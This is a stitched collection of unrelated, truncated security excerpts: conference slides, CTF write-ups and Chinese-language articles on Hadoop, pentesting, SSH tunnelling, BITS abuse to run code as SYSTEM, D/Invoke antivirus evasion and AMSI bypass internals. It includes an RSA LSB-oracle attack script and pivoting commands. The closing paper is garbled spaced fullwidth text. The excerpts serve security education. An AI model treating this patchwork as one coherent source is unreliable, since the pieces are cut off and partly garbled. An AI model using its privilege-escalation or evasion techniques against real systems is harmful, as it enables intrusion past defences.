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Cloud Security in Map/Reduce An Analysis July 31, 2009 Jason Schlesinger ropyrusk@gmail.com Presentation Overview Contents: 1. Define Cloud Computing 2. Introduce and Describe Map/Reduce 3. Introduce Hadoop 4. Introduce Security Issues with Hadoop 5. Discuss Possible Solutions and Workarounds 6. Final Thoughts Goals: Raise awareness of Hadoop and its potential Raise awareness of existing security issues in Hadoop Inspire present and future Hadoop users and administrators to be aware of security in their Hadoop installation Defining Cloud Computing Distributed across multiple machines that are linked together either through the Internet, or across an internal network Fault tolerant to hardware failure, which is inevitable to happen in a large cluster scenario Applications are abstracted from the OS (more or less) Often used to offload tasks from user systems that would be unreasonable to run, or unfavorable to maintain. Considering the above: Hadoop is an incarnation of Map/Reduce in a Cloud environment. Map/Reduce: What It Is Map/Reduce is for huge data sets that have to be indexed, categorized, sorted, culled, analyzed, etc. It can take a very long time to look through each record or file in a serial environment. Map/Reduce allows data to be distributed across a large cluster, and can distribute out tasks across the data set to work on pieces of it independantly, and in parallel. This allows big data to be processed in relatively little time. Funfact: Google implemented and uses a proprietary Map/Reduce platform. Apache has produced an open source Map/Reduce platform called Hadoop Laundromat analogy of Map/Reduce Imagine that your data is laundry. You wash this laundry by similar colors. Then you dry this laundry by similar material (denims, towels, panties, etc.) Serial Operation: You now have clean laundry! (Time Elapsed: 2-3 hrs) Laundromat analogy of Map/Reduce Map/Reduce operation: You now have clean laundry! (Time elapsed: 1.25 hrs.) Word Count example of Map


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# LSB Oracle (crypto 150) ###ENG [PL](#pl-version) The task was pretty much the same idea as https://github.com/p4-team/ctf/tree/master/2016-04-15-plaid-ctf/crypto_rabit with the exception that in Plaid CTF we had Rabin cryptosystem and there it was RSA. We get a [binary](lsb_oracle.vmp.exe.zip) which can give us RSA public key and also it can tell us LSB of decrypted ciphertext. We also get an encrypted flag. We approach it the same was as for Rabit on Plaid CTF - we can multiply plaintext by 2 if we multiply ciphertext by `pow(2,e,n)`. This is because: ``` ct = pte mod n ct' = ct * 2e mod n = pte mod n * 2e mod n = 2pte mod n ct'd = (2pte mod n)d mod n = 2pted mod n = 2pt mod n ``` LSB from oracle tells us if the plaintext is even or odd. Modulus `n` is a product of 2 large primes, so it has to be odd. `2*x` has to be even. This means that if LSB of `2*x mod n` is 0 (number is still even) this number was smaller than modulus `n`. Otherwise the number was bigger than modulus. We can combine this using binary search approach to get upper and lower bounds of the flag in relation to `n`. We used a python script for this (slighly more accurate than the one in Rabbit, which was messing up last character): ```python from subprocess import Popen, PIPE from Crypto.Util.number import long_to_bytes def oracle(ciphertext): print("sent ciphertext " + str(ciphertext)) p = Popen(['lsb_oracle.vmp.exe', '/decrypt'], stdout=PIPE, stdin=PIPE, stderr=PIPE) result = p.communicate(str(ciphertext) + "\n-1") lsb = int(result[0][97]) print(lsb, result) return lsb def brute_flag(encrypted_flag, n, e, oracle_fun): flag_count = n_count = 1 flag_lower_bound = 0 flag_upper_bound = n ciphertext = encrypted_flag mult = 1 while flag_upper_bound > flag_lower_bound + 1: ciphertext = (ciphertext * pow(2, e, n)) % n flag_count *= 2 n_count = n_count * 2 - 1 print("upper = %d" % flag_upper_bound) print("upper flag = %s" % long_to_bytes(flag_upper_bound)) print("lower = %d" % flag_lower_bound) print("l


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BITSInject Using the BITS service to execute a program in the NT AUTHORITY/SYSTEM session. Summary BITS Background Details How We Got There - Research Flow First Naive Try Taking Inspiration From Windows Update Service (wuaueng) Imitating Wuaueng The State File is the Supervisor Interactive or not? Migrate your Payload A Cleaner Method A Little Anecdote Reproduction Instructions General Reproduction Description Step-by-step Reproduction instructions Affected Environment Details Summary We formed a logical manipulation on BITSs permissions validation model. As a local administrator, we were able to take almost full control of the BITS jobs queue, altering jobs properties and states, ultimately achieving program execution in the LocalSystem account (NT AUTHORITY/SYSTEM), within session 0. It does not involve creating a new service, nor modifying any of the OSs PE files. We introduce a new method in which a local administrator account can execute a program in the NT AUTHORITY/SYSTEM context. The method relies on BITS NotifyCmdLine option, by injecting a job to the service queue. Execution can be either interactive or not. 1 In this article, we would like to not only introduce the practical method, but also:  Present a detailed explanation of the binary structure of the BITS DB file (from now on, we will use the internal name - state file)  Share the knowledge we gathered while researching the service operation flow  Provide free giveaways:  A one-click python script that executes a program as LocalSystem using this new technique  A generic python script that injects any pre-produced job into the current queue  An 010 editor template file with the types and structs definitions, which can be used to parse BITS files.  SimpleBITSServer - a Python implementation of a BITS server, based on Pythons SimpleHTTPRequestHandler. 1An interactive program will dispatch the Interactive Services Detection message (forced by the UI0Detect service). BITS Background It is important to un


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Maltegos (Local) Partner in Crime Nadeem Douba | www.cygnos.com How you doin Nadeem Douba | www.cygnos.com 2 } Nadeem Douba  Work at Cygnos (http://www.cygnos.com) in Ottawa, ON, Canada  Certs: GWAPT, GPEN  Worked in the InfoSec field for 10+ years.  Love (European) football and hacking stuff } Been a Maltego fan-boy since the beginning... } Helped port/appify Maltego for Mac OS X J Nadeem Douba | www.sploitego.com 3 } What is Sploitego? } Maltego  Briefly Explained } Dive Into Development  Before Sploitego  After Sploitego } Demos } Conclusion } Questions Nadeem Douba | www.cygnos.com 4 } Local Transform Development Framework for Maltego written in Python } Provides:  Rapid transform development  Easy transform installation, management, and maintenance  Complementary scripts and modules for data mining and debugging  A whole bunch of cool transforms J Nadeem Douba | www.cygnos.com 5 } A little background on Maltego... Nadeem Douba | www.cygnos.com 6 Maltego Overview Nadeem Douba | www.cygnos.com 7 } Open Source Intelligence (OSInt) and forensics information mining/gathering and graphing tool } Developed by Paterva and PinkMatter Nadeem Douba | www.cygnos.com 8 } Information is represented on the graph as Entities } For example, an Entity could be:  Email Address  Image  Phone Number  Etc. } Each Entity has a value and optionally some fields. Nadeem Douba | www.cygnos.com 9 } Transforms reveal relationships between entities (or information) } Logic that mines and returns information (or Entities) using another piece of information (or Entity) as input  T(E0) à { E1, E2,  En } Nadeem Douba | www.cygnos.com 10 Just for Clarity Nadeem Douba | www.cygnos.com 11 } Two types of transforms:  Remote: runs on a remote Paterva or third-party Transform Server.  Local: runs on the users local machine.  This is where Sploitego comes in Nadeem Douba | www.cygnos.com 12 Pros Cons ü Patervas Transforms ü Awesome!!! ü Centralized Transform Management & Maintenance ü Implementation d


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DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA Fighting Fighting malware malware on your own on your own Vitaliy Kamlyuk Senior Virus Analyst Kaspersky Lab Vitaly.Kamluk@kaspersky.com DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA Why fight malware on your own? Why fight malware on your own? 5 reasons: 1. Touch 100% of protection yourself 2. Be prepared for attacks 3. Maintain confidentiality 4. Restore system here and now 5. Time matters DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA What is available in What is available in W Windows indows XP? XP? System tools: Explorer, Task manager, Regedit, SigVerif, Console utils: netstat,tasklist,reg,expand Interpreters: Batch, JS/VBS Text editors: notepad,wordpad,edit,edlin, Binary editing tool: debug Symbolic debugger: ntsd OLE repository DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA Email Email--Worm.Win32.Warezov Worm.Win32.Warezov Detected on 15th August, 2006 430 modifications (~25000 of files) All application data is encrypted Code mutates very often (server-side polymorphic engine) Downloads additional modules from the Internet Hides its modules from Task Manager DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA Warezov: Infecting the system Warezov: Infecting the system DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA Warezov: Installing KAV 6.0 Warezov: Installing KAV 6.0 DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA Warezov: What really happened? Warezov: What really happened? DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA Warezov: Inspecting the system Warezov: Inspecting the system DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA Warezov: Manual removal Warezov: Manual removal DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA Warezov: Resistance Warezov: Resistance to to manual manual removal removal DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA Analysis Analysis 1. Malware restores registry values when the application terminates (seems to be when malicious dll is unloaded) 2. There is a set of pr


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Pushing a Camel through the eye of the Needle! [Funneling Data in and out of Protected Networks] SensePost 2008 About:us  SensePost  Specialist Security firm based in South Africa;  Customers all over the globe;  Talks / Papers / Books  {marco,haroon}@sensepost.com  Spend most of our time breaking stuff ((thinking about breaking stuff) or playing foosball!)  What this talk is about ? (Hint: not foosball!) What this talk is about? A progression of Attacks  A brief trip to the past (1601-1990)  Un-firewalled access to victim host  And also un-firewalled to rest of the network! History (Continued.)  The Introduction of firewalls..  The failure to filter outbound traffic (circa 2000)  CommandExec.[asp|jsp|php|*] {The need for a comfortable Channel} History (Continued.)  Creating binaries on remote victim.  debug.exe and friends  upload.asp (and friends)  Win32 Port Binding (1998) Remote Exec (with feeling!)  We really needed to use the words AJAX and XMLHttpRequest object to qualify as a web 2.0 talk.  We will still add XML, SOAP and a tool with no vowels in its name (watch for this!) Time to pivot  This stuff is ancient history.  Sp_quickkill  Extreme nc usage  SensePost tcpr / Foundstonefport (Circa 2000) Client Pivot Target Start tcpr  XP and IPV6!  Ssh tunnel Listens on port 55555 Connects to pivot:55555 Pivot connects to target Proxied connection between client and target SSH Tunnels (a) Client Pivot Target Listens on port 22 Pivot runs sshd ssh L 55555:pivot:25 Proxied connection from Client to Target port Listens on port 55555 Listens on port 25 SSH Tunnels (b)  Instead lets look at R  So all we need is an ssh client on the remote machine, an SSHD on one of ours and we are in the game!  putty + plink FTW! Local machine Client is the Pivot Target Listens on port 22 ssh R 55555:localmachin e:445 Target runs sshd Listens on port 445 Proxy connection from target:55555 to local machine:445 Listens on port 55555 Interlude (dns2tcp)  Available from: http://www.hsc.fr/re


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1 P/Invoke和D/Invoke的区别 解释unmanaged code P/Invoke D/Invoke D/Invoke的些应 Interoperating with unmanaged code https://docs.microsoft.com/en-us/dotnet/framework/interop/ p/Invoke是项允许您从托管代码访问托管库中的结构回调和函数的技术 多数P/Invoke API包含在以下两个名称空间中 System System.Runtime.InteropServices 这两个名称空间为您提供了很多具帮助你便快捷地本机组件进通信 解释unmanaged code 1 .NET Framework促进了与COM组件COM+服务外部类型库和许多操作系统服务的交互 托管和托管对象模型之间的数据类型法签名和错误处理机制都不同 2 为了简化.NET Framework组件与托管代码之间的互操作并简化迁移路径公共语运 库对客户端和服务器隐藏了这些对象模型中的差异 3 4 在运时的控制下执的代码称为托管代码 5 相反在运时之外运的代码称为托管代码 6 COM组件ActiveX接和Windows API函数是托管代码的示例 P/Invoke 1 using System; 2 using System.Runtime.InteropServices; 3 4 public class Program 2 第9号P/Invoke作的关键它定义了种托管法该法具有与托管法完全相同的签名 该声明有个extern关键字它告诉Runtime这是个外部法并且在调它时让Runtime在 DllImportattribute中动寻找对应法调 在Mac上也可以但是调的就是mac上的的库 5 { 6 // Import user32.dll (containing the function we need) and de fine 7 // the method corresponding to the native function. 8 //加载托管的DLL 9 [DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastEr ror = true)] 10 11 private static extern int MessageBox(IntPtr hWnd, string lpTe xt, string lpCaption, uint uType); 12 13 public static void Main(string[] args) 14 { 15 // Invoke the function as a regular managed method. 16 MessageBox(IntPtr.Zero, "Command-line message box", "Atte ntion!", 0); 17 } 18 } 1 using System; 2 using System.Runtime.InteropServices; 3 4 namespace PInvokeSamples 5 { 6 public static class Program 7 { 8 // Import the libSystem shared library and define the met hod 9 // corresponding to the native function. 10 [DllImport("libSystem.dylib")] 11 private static extern int getpid(); 12 13 public static void Main(string[] args) 3 D/Invoke全称是Dynamic Invocation出处应该是这Emulating Covert Operations - Dynamic Invocation (Avoiding PInvoke & API Hooks) 作就是避免被AV Hook被怀疑进恶意导 代码是在运时加载DLL使指向在内存中位置对的指针来调该函数不是使PInvoke直接静态 导API调我们可以从内存中调任意的托管代码同时可以传递参数并以反射式执 payload避免了导地址表出现恶意函数 详细介绍 https://thewover.github.io/Dynamic-Invoke/ 原理 https://blog.xpnsec.com/weird-ways-to-execute-dotnet/ https://github.com/cobbr/SharpSplo


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滲透測試 基本技巧與經驗分享 講者: 趙偉捷 自我介紹 ID : OAlienO 姓名 : 趙偉捷 學校系所 : 國立交通大學 電機資訊學士班 大二升大三 社群 : Bamboofox 目錄 滲透測試 - Penetration Test ( PT ) 情境一 : 收集情報 情境二 : 資料洩漏 情境三 : SQL injection 情境四 : XSS 情境五 : XST 情境六 : CSRF 情境七 : File Upload Vulnerability Common Vulnerabilities and Exposures ( CVE ) Bug Bounty 與漏洞通報 滲透測試 Penetration Test ( PT ) 滲透測試 - Penetration Test ( PT ) 簡介 : 滲透測試是企業委託駭客對系統進行入侵攻擊並在攻擊後 回報潛在漏洞給開發人員做修補 特性 : 以毒攻毒針對目標網站 有授權很重要 標準流程 很多人開始做滲透測試後就會有人整理一些常見的步驟手法這 邊列出幾個開源組織制定的滲透測試標準流程 OWASP ( Open Web Application Security Project ) https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_o f_Contents OSSTMM (Open Source Security Testing Methodology Manual) http://www.isecom.org/research/osstmm.html PTES ( Penetration Testing Execution Standard ) http://www.pentest- standard.org/index.php/PTES_Technical_Guidelines 標準流程 提升權限 維持存取 偵查 掃描 漏洞利用 回報漏洞 情境一 假設今天外星人想對某個網站做滲透測試 他要從哪裡開始測呢 ? ( 切他電路 ) 收集情報 收集情報 ( Information Gathering ) 最簡單且基本的情報收集可以從看伺服器回應的 http header 開始 收集情報 ( Information Gathering ) Cookie 的名字也可以拿來辨認系統 ( 不一定正確 ) 有沒有工具呢? Wappalyzer ( https://chrome.google.com/webstore/detail/wappalyzer/gp pongmhjkpfnbhagpmjfkannfbllamg?hl=zh-TW ) 收集情報 ( Information Gathering ) Chrome 插件 Wappalyzer 收集情報 - Google Hacking 完整的運用 Google 的強大搜尋功能 inurl: google.com inurl:google.com intext:"PHP Fatal error: require()" filetype:log site:google.com Google hacking database https://www.exploit-db.com/google-hacking-database/ 這裡不能有空白 收集情報  找旁注 一個機器可能 host 多個網站 收集情報 - 使用工具 ( nmap ) nmap <url> 掃 port 收集情報 - 使用工具 ( nikto ) 會提供相關網站 情境二 最常見安全問題 1st round  資料洩漏 情境 : 外星人在某網站上申請東東申請完後得到這個連結上面顯示申 請的資料做確認和列印會發生什麼事情呢請待下頁分曉 https://www.xxx.com/apply_form/?id=123 機敏資料洩漏 網站權限控管沒做好可以瀏覽其他人的申請單 並看到他填的申請表上面的個人資料 比如 : https://www.xxx.com/apply_form/?id=100 機敏資料洩漏 運用 Google hacking 的技巧找到不小心公開的檔案 intitle:"Index of" site:nctu.edu.tw filetype:pdf 情境三 最常見安全問題 2nd round  SQL injection 情境 : 外星人在某網站上看到可以輸入的 input box 就很開心地輸入單引號 SQL injection 發現驚人的事實他會 SQL syntax error 說明他 87% 有 SQL injection 漏洞 漏洞利用  SQL injection SQL injectio


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Bypass AMSI的前世今生(6) - .net和wmi完结 0x00 前言 这是这个系列完结篇了其实读完并跟随文章实际测试完前5篇对抗AMSI应该手到擒来了这一篇主 要分析下AMSI在.net和WMI中的应用以分析调用流程为主对抗方式为辅明白了原理在实际攻防 中灵活运用就行了 0x01 .Net如何调用AMSI 通过第一篇文章我们知道.net调用amsi.dll的文件是clr.dll 我们通过IDA静态分析找到相应的调用函数,如下是F5后的伪代码 C:\Windows\WinSxS\amd64_netfx4- clr_dll_b03f5f7f11d50a3a_4.0.15805.360_none_395be0019a54e460\clr.dll __int64 __fastcall sub_1805F7BE0(__int64 a1, unsigned int a2) { __int64 result; // rax __int64 v5; // rsi int v6; // ebx __int64 v7; // rdi HMODULE v8; // r14 __int64 v9; // [rsp+38h] [rbp-18h] BYREF int v10; // [rsp+40h] [rbp-10h] void *v11; // [rsp+48h] [rbp-8h] void *retaddr; // [rsp+78h] [rbp+28h] BYREF unsigned int v13; // [rsp+90h] [rbp+40h] BYREF __int64 v14; // [rsp+98h] [rbp+48h] BYREF result = (__int64)&retaddr; v5 = qword_180A19640; v9 = qword_180A19640; v6 = 0; v10 = 0; if ( qword_180A19640 ) { result = sub_180033588(qword_180A19640); v6 = 1; v10 = 1; } v7 = qword_180A33D40; if ( !qword_180A33D40 && byte_180A34740 == (_BYTE)qword_180A33D40 ) { result = sub_18015A744(); if ( (_DWORD)result && (result = LoadLibraryEx(L"amsi.dll", 0i64, 0x800u), (v8 = (HMODULE)result) != 0i64) && (result = (__int64)GetProcAddress((HMODULE)result, "AmsiInitialize"), (qword_180A33D30 = result) != 0) && (v14 = 0i64, result = ((__int64 (__fastcall *)(const wchar_t *, __int64 *))result) (L"DotNet", &v14), Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-20 No. 1 / 9 - Welcome to www.red-team.cn 这个代码如果看着不太明白我们可以直接阅读被复原的C代码来至https://modexp.wordpress. com/2019/06/03/disable-amsi-wldp-dotnet/到这儿不由感慨当我在阅读伪代码的时候为了搜索 其中一些错误嘛发现了这篇文章真的是前任栽树后人乘凉 !(_DWORD)result) ) { result = (__int64)GetProcAddress(v8, "AmsiScanBuffer"); qword_180A33D28 = (__int64 (__fastcall *)(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _DWORD))result; v7 = qword_180A33D40; if ( result ) v7 = v14; qword_180A33D40 = v7; } else { v7 = qword_180A33D40; } byte_180A34740 = 1; } if ( v6 ) { result = sub_1800335D0(v5); v10 = 0; v7 = qword_180A33D40; } if ( v7 ) { result =


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S-javaagent 参考文章 javaagent使用指南 Java Instrumentation javaagent 实例 Javaagent 是 java 命令的一个参数参数 javaagent 可以用于指定一个 jar 包并且对该 java 包有2个要求1这个 jar 包的 MANIFEST.MF 文件必须指定 Premain-Class 项2 Premain-Class 指定的那个类必须实现 premain() 方法 premain 方法从字面上理解就是 运行在 main 函数之前的的类当 Java 虚拟机启动时在执行 main 函数之前 JVM 会先运 行 -javaagent 所指定 jar 包内 Premain-Class 这个类的 premain 方法 在命令行输入 java 可以看到相应的参数其中有 和 java agent相关的 -agentlib:<libname>[=<选项>] 加载本机代理库 <libname>, 例如 -agentlib:hprof 另请参阅 -agentlib:jdwp=help 和 -agentlib:hprof=help -agentpath:<pathname>[=<选项>] 按完整路径名加载本机代理库 -javaagent:<jarpath>[=<选项>] 加载 Java 编程语言代理, 请参阅 java.lang.instrument agent 编写 MANIFREST.MF PreMainTraceAgent 此处需要注意的是自动打包的过程中自定义的 MANIFREST.MF 会被修改所以需要手动替换或 者是用maven打包并自定义打包插件 Manifest-Version: 1.0 Can-Redefine-Classes: true Can-Retransform-Classes: true Premain-Class: PreMainTraceAgent //此处是一个空行不可省略 import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.lang.instrument.Instrumentation; import java.security.ProtectionDomain; public class PreMainTraceAgent { public static void premain(String agentArgs, Instrumentation inst){ System.out.println("agentArgs : " + agentArgs); inst.addTransformer(new DefineTransformer(), true); } static class DefineTransformer implements ClassFileTransformer{ @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { System.out.println("premain load Class:" + className); return classfileBuffer; } } } <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <parent> <artifactId>javaagent</artifactId> <groupId>org.example</groupId> <version>1.0-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion> <artifactId>agentClass<


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CTF 微心得 ddaa Who am I  dada = ddaa = 0xddaa = 達達 != 大大  Start to play CTF since last year  One of the members in HITCON CTF team. 3 故事的開始是這樣的 大四跨校選課選修程式安全 http://wargame.cs.nctu.edu.tw Copyright 2012 SQlab 4 幹好難 (助教可以給更多 hint 嗎 T_T) 5 6 結果研究所不小心進了 SQLab 學長你們也有報名 HITCON  那當天就一起來打 wargame 吧 我......OAO  7 一題都沒解出來 T___T 可是拿到冠軍了學長們太強了 XD 8 一題都沒解出來 T___T 可是拿到冠軍了學長們太強了 XD 9 因為 CTF 很好玩 後來就一直玩一直玩一直玩 (?) 不過一開始都解不出來.... Before solving the problem After solving the problem 12 30C3CTF 2013 NUMBERS 100 guess 猜數字 破解偽隨機數生成器 Mersenne Twister http://ddaa.logdown.com/posts/171272-30c3ctf- numbers-100-guess 到現在還是覺得這題不該只值 100 分啊 Q___Q 第一個解出的 CTF 題目 13 30C3CTF 2013 NUMBERS 100 guess 猜數字 破解偽隨機數生成器 Mersenne Twister http://ddaa.logdown.com/posts/171272-30c3ctf- numbers-100-guess 到現在還是覺得這題不該只值 100 分啊 Q___Q 第一個解出的 CTF 題目 14 哇哦CTF 好有趣該如何入門呢 http://overthewire.org/wargames/ http://bright-shadows.net/ http://wargame.cs.nctu.edu.tw/ 15 1. 選一題你認為比較有趣 或是比較有可能解的題目 如果完全沒有頭緒得先 google 一些題目相關的背景知識 16 2. 努力看懂題目接著試著想出這題的解法 如果一時想不出來也可以跟別人討論看看 但別直接去找解答來看 >__< 17 3. 如果想法正確恭喜成功拿到 flag :D 將過程寫成 write up並且與其他人交流做法~ 18 4. 如果想法錯誤別氣餒想想其他的解法 可能會花上數小時甚至數天 但是在摸索的同時也會慢慢進步 19 5. 如果到最後還是想不出來 就看看其他人的 write up 吧 :P 照著做一遍真正弄懂這題的解法 下次遇到類似的題目就會做了 20 其實打 CTF 只需要... 興趣耐心求知慾 程式能力, 逆向工程, 密碼學, 演算法, 資訊隱藏, 鑑識分析, 滲透測試,  , etc 這些都可以慢慢學 XD The most important Never give up!!! 22 也可以參考台大或交大的課程網頁 https://csie.ctf.tw/ http://secprog.cs.nctu.edu.tw/ 工商時間 (誤)


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Spring Part 2 SpringMVC 审了些Spring的项还是打算以开发的度从头看下Spring第部分之前发过遍这 次打做个补全跟着B站的视频看的迷迷糊糊视频快进看了个时感觉东也不多.....其 实直接上代码看别怎么写的更有效率点233333333 Part3 感觉看下源码分析较好额好像springboot也要简单过下虽然审过了但是查漏补 缺嘛~ Spring Part 1 四天学习总结 https://mp.weixin.qq.com/s/Qqu11XiZkWchhQ15y0J0_A SpringMVC 的基本概念 1. 三层架构 表现层业务层持久层 2.MVC MVC 全名是 Model View Controller是模型(model)视图(view)控制器(controller)的缩 写 是种于设计创建 Web 应程序表现层的模式 3.SpringMVC SpringMVC 是种基于 Java 的实现 MVC 设计模型的请求驱动类型的轻量级 Web 框架属于 Spring FrameWork 的后续产品已经融合在 Spring Web Flow Spring 框架提供了构建 Web 应程序的全功能 MVC 模块使 Spring 可插的 MVC 架构从在使 Spring 进 WEB 开发时可以选择使 Spring 的 Spring MVC 框架或集成其他 MVC 开发框架如 Struts1(现在般不)Struts2 等 SpringMVC 已经成为前最主流的 MVC 框架之并且随着 Spring3.0 的发布全超 越 Struts2成为最优秀的 MVC 框架它通过套注解让个简单的 Java 类成为处理请求 的控制器须实现任何接同时它还持RESTful 编程格的请求 4.SpringMVC优势 1清晰的划分 前端控制器DispatcherServlet 请求到处理器映射HandlerMapping 处理器适配器 HandlerAdapter 视图解析器ViewResolver 处理器或控制器Controller 验证器 Validator 命令对象Command 请求参数绑定到的对象就叫命令对象 表单对象Form Object 提供给表单展示和提交到的对象就叫表单对象 2分明确且扩展点相当灵活可以很容易扩展虽然乎不需要 3由于命令对象就是个 POJO需继承框架特定 API可以使命令对象直接作为业务对 象 4和 Spring 其他框架缝集成是其它 Web 框架所不具备的 5可适配通过 HandlerAdapter 可以持任意的类作为处理器 6可定制性HandlerMappingViewResolver 等能够常简单的定制 7功能强的数据验证格式化绑定机制 8利 Spring 提供的 Mock 对象能够常简单的进 Web 层单元测试 9本地化主题的解析的持使我们更容易进国际化和主题的切换 10强的 JSP 标签库使 JSP 编写更容易 还有如RESTful 格的持简单的件上传约定于配置的契约式编程 持基于注解的零配置持等等 5.SpringMVC与Strusts2对 共同点  它们都是表现层框架都是基于 MVC 模型编写的它们的底层都离不开原始 ServletAPI  它们处理请求的机制都是个核控制器 区别 Spring MVC 的是 Servlet,  Struts2 是 Filter  Spring MVC 是基于法设计的 Struts2 是基于类Struts2 每次执都会创建个动 作类所以 Spring MVC 会稍微 Struts2 快些  Spring MVC 使更加简洁,同时还持 JSR303, 处理 ajax 的请求更便  (JSR303 是套 JavaBean 参数校验的标准它定义了很多常的校验注解我们可以直 接将这些注解加在我们 JavaBean 的属性上就可以在需要校验的时候进校验了)  Struts2 的 OGNL 表达式使的开发效率相 Spring MVC 更些但执效率并没有  JSTL 提升尤其是 struts2 的表单标签远没有 html 执效率 SpringMVC的请求相应流程 1服务器启动应被加载读取到 web.xml 中的配置创建 spring 容器并且初始化容器中的 对象 2浏览器发送请求被 DispatherServlet 捕获该 Servlet 并不处理请求是把请求转发出 去转发的路径是根据请求 URL匹配@RequestMapping 中的内容 3匹配到了后执对应法该法有个返回值 4根据法的返回值借助 InternalResourceViewResolver 找到对应的结果视图 5渲染结果视图响应浏览器 三些类的简单理解 1.DispatcherServlet前端控制器 户


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渗 透 测试 之信 息搜 集 的 研 究 与 漏 洞 防 范   张 明 航 张卷美   北京 电 子科 技学院 北京 １ ０ ００ ７０     １ ５４ ０１ ０１ ６２ ３ ｑ ｑ  ｃｏｍ    Ｒ ｅ ｓｅａｒｃｈ ａｎｄ Ｖｕ ｌｎｅｒａｂ ｉ ｌ ｉ ｔｙ Ｐｒｅｖｅｎ ｔｉｏｎ ｏｆ Ｉｎ ｆｏｒｍａ ｔ ｉｏｎ  Ｇａｔ ｈｅｒｉｎ ｇ ｉｎ   Ｐ ｅｎ ｅｔ ｒａｔ ｉｏｎ  Ｔｅｓｔ   Ｚｈａ ｎｇ  Ｍ ｉｎｇ ｄｕ ｏ ａ ｎ ｄ Ｚｈａｎ ｇ Ｊ ｕ ａｎｍ ｅｉ   Ｂｅｉｊ ｉｎｇ  Ｅｌｅｃｔｒｏｎ ｉ ｃ Ｓ ｃｉｅｎｃｅ    Ｔｅｃｈｎｏｌｏｇｙ Ｉｎ ｓｔ ｉ ｔｕｔｅ  Ｂｅｉｊ ｉｎｇ １ ０ ００ ７０    Ａ ｂｓｔｒａｃｔ Ｐ ｅｎｅ ｔｒａ ｔ ｉｏｎ  ｔｅ ｓｔ  ｄｏ ｅｓ  ａ ｔｈｏｒｏ ｕｇ ｈ ｓｅ ｃｕｒｉｔｙ ｒｅｖ ｉ ｅｗ ｆｏｒ ｎｅｔｗｏｒ ｋ ｓ ｙ ｓ ｔｅｍ ａｎ ｄ ｇ ｉｖ ｅｓ  ｔｈｅ  ａｄｖｉｃ ｅ   ｏ ｆ ｖ ｕｌｎ ｅｒａｂ ｉ ｌ ｉｔｙ  ｏ ｒ ｉ ｎ ａｐ ｐ ｒｏ ｐ ｒ ｉａ ｔ ｅ  ｃ ｏｎ ｆｉ ｇ ｕｒａ ｔ ｉ ｏｎ ｂｙ ｓ ｉ ｍｕ ｌ ａｔ ｉ ｎｇ ｒｅ ａ ｌ ａｔｔａｃ ｋｓ  Ａｓ ｔ ｈｅ ｆｉ ｒｓ ｔ ｓ ｔａｇ ｅ ｏｆ  ｌ ｉｆ ｅ   ｃｙｃ ｌｅ  ｏ ｆ ｐ ｅｎ ｅｔｒａ ｔ ｉｏ ｎ ｔ ｅ ｓｔ   ｔｈｅ  ｔａ ｓ ｋ ｏｆ ｉｎ ｆｏ ｒｍａ ｔ ｉｏ ｎ  ｃｏｌ ｌ ｅｃ ｔｉｏ ｎ ｉ ｓ ｔｏ ｃｏｌ ｌｅｃ ｔ ｄｅ ｔａ ｉｌ ｅ ｄ ｉｎ ｆｏ ｒｍａ ｔ ｉｏ ｎ  ｗｈｉ ｃ ｈ   ｄｅ ｔｅｒｍ ｉｎｅ ｓ ｔｈｅ  ｓ ｕｃ ｃｅ ｓｓ ｏｆ  ａ ｗｈｏ ｌｅ  ｐｅｎｅｔｒａｔ ｉｏ ｎ ｔｅｓｔ  ｔｏ ａ ｌａｒ ｇｅ  ｅｘｔｅ ｎｔ  Ｔｈ ｉ ｓ ｐ ａｐｅ ｒ ｓ ｔｕｄ ｉｅ ｓ ｔｈｅ  ｖａｒｉｏｕｓ   ｍ ｅｔ ｈｏｄ ｓ ａｎ ｄ ｔ ｅ ｃｈｎｏ ｌｏｇｙ  ｉ ｎ ｔ ｈｅ ｉ ｎｆ ｏｒｍａ ｔ ｉ ｏｎ  ｇ ａ ｔｈｅｒ ｉ ｎｇ  ｓ ｔａ ｇ ｅ  ｐ ｕｔ ｓ ｔｈｅ  ｔｏｏ ｌ ｓ ｐｒ ｏｖｉ ｄｅ ｄ ｂｙ  Ｋ ａ ｌ ｉ Ｌ ｉ ｎｕ ｘ   ｉｎ ｔ ｏ ｐｒ ａｃ ｔ ｉ ｃｅ   ｓｕｍｍ ａｒ ｉ ｅｓ ｔｈｅ  ｃｏｍｍ ｏｎ  ｖｕ ｌｎｅｒａｂ ｉ ｌ ｉ ｔｙ  ｉｎ ｔｈ ｉ ｓ ｓ ｔ ａｇ ｅ ａｎ ｄ ｐ ｒｏ ｐｏｓ ｅｓ  ａ ｃｏｍｐｒ ｅｈｅｎｓ ｉｖ ｅ   ｐ ｒｅ ｖｅｎｔ ｉ ｖｅ  ｍｅａｓ ｕｒ ｅ ｉ ｎ ｔｈｅ  ｅ ｎｄ   Ｋｅｙ  ｗ ｏｒ ｄｓ ｐ ｅ ｎｅ ｔ ｒａ ｔｉ ｏｎ  ｔ ｅ ｓｔ  ｉ ｎｆ ｏｒｍ ａｔ ｉ ｏｎ  ｇａ ｔ ｈｅ ｒｉ ｎ ｇ  Ｋａ ｌ ｉ  Ｌ ｉｎｕ ｘ  ｖｕｌ ｎｅ ｒａｂ ｉ ｌｉ 